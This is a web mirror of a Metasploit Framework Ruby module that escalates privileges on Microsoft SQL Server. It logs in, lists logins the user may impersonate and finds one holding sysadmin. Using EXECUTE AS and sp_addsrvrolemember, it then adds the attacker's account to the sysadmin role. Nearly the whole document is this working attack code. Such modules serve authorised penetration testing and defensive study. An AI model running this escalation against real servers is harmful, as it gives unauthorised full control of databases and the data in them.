Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL
8
include Msf::OptionalSession::MSSQL
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Microsoft SQL Server Escalate EXECUTE AS',
15
'Description' => %q{
16
This module can be used escalate privileges if the IMPERSONATION privilege has been
17
assigned to the user. In most cases, this results in additional data access, but in
18
some cases it can be used to gain sysadmin privileges.
19
},
20
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
21
'License' => MSF_LICENSE,
22
'References' => [['URL', 'http://msdn.microsoft.com/en-us/library/ms178640.aspx']],
23
'Notes' => {
24
'Stability' => [CRASH_SAFE],
25
'SideEffects' => [IOC_IN_LOGS],
26
'Reliability' => []
27
}
28
)
29
)
30
end
31
32
def run
33
if session
34
set_mssql_session(session.client)
35
else
36
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
37
if mssql_login_datastore
38
print_good('Connected.')
39
else
40
print_error('Login was unsuccessful. Check your credentials.')
41
disconnect
42
return
43
end
44
end
45
46
# Query for sysadmin status
47
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
48
user_status = check_sysadmin
49
50
# Check if user has sysadmin role
51
if user_status == 1
52
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
53
disconnect
54
return
55
end
56
57
print_status("You're NOT a sysadmin, let's try to change that.")
58
59
# Get a list of the users that can be impersonated
60
print_status('Enumerating a list of users that can be impersonated...')
61
imp_user_list = check_imp_users
62
if imp_user_list.nil? || imp_user_list.empty?
63
print_error('Sorry, the current user doesn\'t have permissions to impersonate anyone.')
64
disconnect
65
return
66
end
67
68
# Display list of users that can be impersonated
69
print_good("#{imp_user_list.length} users can be impersonated:")
70
imp_user_list.each do |db|
71
print_status(" - #{db[0]}")
72
end
73
74
# Check if any of the users that can be impersonated are sysadmins
75
print_status('Checking if any of them are sysadmins...')
76
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
77
if imp_user_sysadmin.nil?
78
print_error('Sorry, none of the users that can be impersonated are sysadmins.')
79
disconnect
80
return
81
end
82
83
# Attempt to escalate to sysadmin
84
print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...")
85
escalate_status = escalate_privs(imp_user_sysadmin[0])
86
if escalate_status
87
# Check if escalation was successful
88
user_status = check_sysadmin
89
if user_status == 1
90
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
91
else
92
print_error('Fail buckets, something went wrong.')
93
end
94
else
95
print_error('Error while trying to escalate privileges.')
96
end
97
98
disconnect
99
return
100
end
101
102
# Checks if user is a sysadmin
103
def check_sysadmin
104
# Setup query to check for sysadmin
105
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
106
107
# Run query
108
result = mssql_query(sql)
109
110
# Parse query results
111
parse_results = result[:rows]
112
status = parse_results[0][0]
113
114
# Return status
115
return status
116
end
117
118
# Gets trusted databases owned by sysadmins
119
def check_imp_users
120
# Setup query
121
sql = "SELECT DISTINCT b.name
122
FROM sys.server_permissions a
123
INNER JOIN sys.server_principals b
124
ON a.grantor_principal_id = b.principal_id
125
WHERE a.permission_name = 'IMPERSONATE'"
126
127
result = mssql_query(sql)
128
129
# Return on success
130
return result[:rows]
131
end
132
133
# Checks if user has the db_owner role
134
def check_imp_sysadmin(trust_db_list)
135
# Check if the user has the db_owner role is any databases
136
trust_db_list.each do |imp_user|
137
# Setup query
138
sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status"
139
140
# Run query
141
result = mssql_query(sql)
142
143
# Parse query results
144
parse_results = result[:rows]
145
status = parse_results[0][0]
146
if status == 1
147
print_good(" - #{imp_user[0]} is a sysadmin!")
148
return imp_user
149
else
150
print_status(" - #{imp_user[0]} is NOT sysadmin!")
151
end
152
end
153
nil
154
end
155
156
def escalate_privs(imp_user_sysadmin)
157
# Impersonate the first sysadmin user on the list
158
evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';
159
EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"
160
161
mssql_query(evil_sql_create)
162
163
true
164
end
165
end
166
167